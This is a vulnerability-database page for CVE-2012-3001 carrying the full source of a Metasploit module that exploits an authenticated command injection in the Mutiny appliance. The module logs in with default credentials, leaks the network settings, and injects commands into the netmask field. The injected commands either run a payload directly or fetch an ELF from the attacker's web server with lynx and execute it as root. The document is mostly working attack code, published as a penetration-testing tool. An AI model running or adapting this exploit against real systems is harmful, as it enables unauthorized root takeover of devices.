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Mutiny Remote Command Execution

🗓️ 22 Oct 2012 00:00:00Reported by Christopher Campbell, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

Mutiny Remote Command Execution module exploits an authenticated command injection vulnerability in the Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. The injected commands are executed with root privileges. This module has been tested successfully on Mutiny 4.2-1.05

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mutiny Remote Command Execution',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in the
          Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
          the vulnerability the mutiny user must have access to the admin interface. The
          injected commands are executed with root privileges. This module has been tested
          successfully on Mutiny 4.2-1.05.
        },
        'Author' => [
          'Christopher Campbell', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-3001'],
          ['OSVDB', '86570'],
          ['BID', '56165'],
          ['US-CERT-VU', '841851'],
          ['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
        ],
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 4000
        },
        'Targets' => [
          [
            'Unix CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
              # 'Payload'        =>
              #	{
              #		'Compat'   =>
              #			{
              #				'PayloadType' => 'cmd',
              #				'RequiredCmd' => 'python'
              #			}
              #	},
            }
          ],
          [
            'Linux Payload',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
        'DisclosureDate' => '2012-10-22',
        'DefaultTarget' => 1,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
        OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
      ]
    )

    self.needs_cleanup = true
  end

  def on_new_session(session)
    cmds = []
    if @netmask_eth0
      cmds = [
        %(echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask),
        %(tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak),
        %(mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask),
        %(sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak),
        %(mv -f ifcfg-eth0.bak ifcfg-eth0),
        %(/etc/init.d/network restart)
      ]
    end
    cmds << %(rm /tmp/#{@elfname}.elf) unless target.name =~ /CMD/

    print_status('Restoring Network Information and Cleanup...')
    begin
      session.shell_command_token(cmds.join(' ; '))
    rescue StandardError
      print_error("Automatic restore and cleanup didn't work, please use these commands:")
      cmds.each do |cmd|
        print_warning(cmd)
      end
    end
    print_good('Restoring and Cleanup successful')
  end

  def start_web_service
    print_status('Setting up the Web Service...')

    resource_uri = '/' + @elfname + '.elf'
    service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"

    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => resource_uri
      },
      'ssl' => false # do not use SSL
    })

    return service_url
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status('Waiting for the victim to request the ELF payload...')

    waited = 0
    until (@elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end

    # print_status("Giving time to the payload to execute...")
    # select(nil, nil, nil, 20) unless session_created?
  end

  # Handle incoming requests from the target
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called, #{request} requested")

    if (!@elf_data)
      print_error("A request came in, but the ELF archive wasn't ready yet!")
      return
    end

    print_good('Sending the ELF payload to the target...')
    @elf_sent = true
    send_response(cli, @elf_data)
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'logon.jsp')
    })

    if res and res.body =~ /: Mutiny : Login @ mutiny/
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status('Login with the provided credentials...')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'logon.do'),
      'vars_post' =>
      {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/
      print_good('Login Successful')
      session = ::Regexp.last_match(1)
    else
      fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
    end

    print_status('Leaking current Network Information...')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
      'cookie' => "JSESSIONID=#{session}"
    })

    if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
      address_eth0 = (res.body =~ %r{<input type="text" value="(.*)" name="addresseth0" class="textInput" />} ? ::Regexp.last_match(1) : '')
      @netmask_eth0 = (res.body =~ %r{<input type="text" value="(.*)" name="netmasketh0" class="textInput" />} ? ::Regexp.last_match(1) : '')
      gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? ::Regexp.last_match(1) : '')
      dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? ::Regexp.last_match(1) : '')
      static_route_address = (res.body =~ %r{<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" />} ? ::Regexp.last_match(1) : '')
      static_route_netmask = (res.body =~ %r{<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" />} ? ::Regexp.last_match(1) : '')
      static_route_gateway = (res.body =~ %r{<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" />} ? ::Regexp.last_match(1) : '')
      print_good('Information leaked successfully')
    else
      print_error('Error leaking information, trying to exploit with random values')
    end

    if target.name =~ /CMD/
      injection = @netmask_eth0.dup || rand_text_alpha(rand(5..7))
      injection << "; #{payload.encoded}"
    else
      print_status('Generating the ELF Payload...')
      @elf_data = generate_payload_exe
      @elfname = Rex::Text.rand_text_alpha(rand(3..5))
      service_url = start_web_service
      injection = @netmask_eth0.dup || rand_text_alpha(rand(5..7))
      injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf"
      injection << "; chmod +x /tmp/#{@elfname}.elf"
      injection << "; /tmp/#{@elfname}.elf"

    end

    print_status('Exploiting Command Injection...')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
      'cookie' => "JSESSIONID=#{session}",
      'vars_post' =>
      {
        'addresseth0' => address_eth0 || rand_text_alpha(rand(5..7)),
        'netmasketh0' => injection,
        'Gateway' => gateway || rand_text_alpha(rand(5..7)),
        'dnsaddress0' => dns_address || rand_text_alpha(rand(5..7)),
        'staticRouteAddress' => static_route_address || rand_text_alpha(rand(5..7)),
        'staticRouteNetmask' => static_route_netmask || rand_text_alpha(rand(5..7)),
        'staticRouteGateway' => static_route_gateway || rand_text_alpha(rand(5..7))
      }
    }, 1)

    if target.name =~ /Linux Payload/
      wait_linux_payload
    end
  end

end

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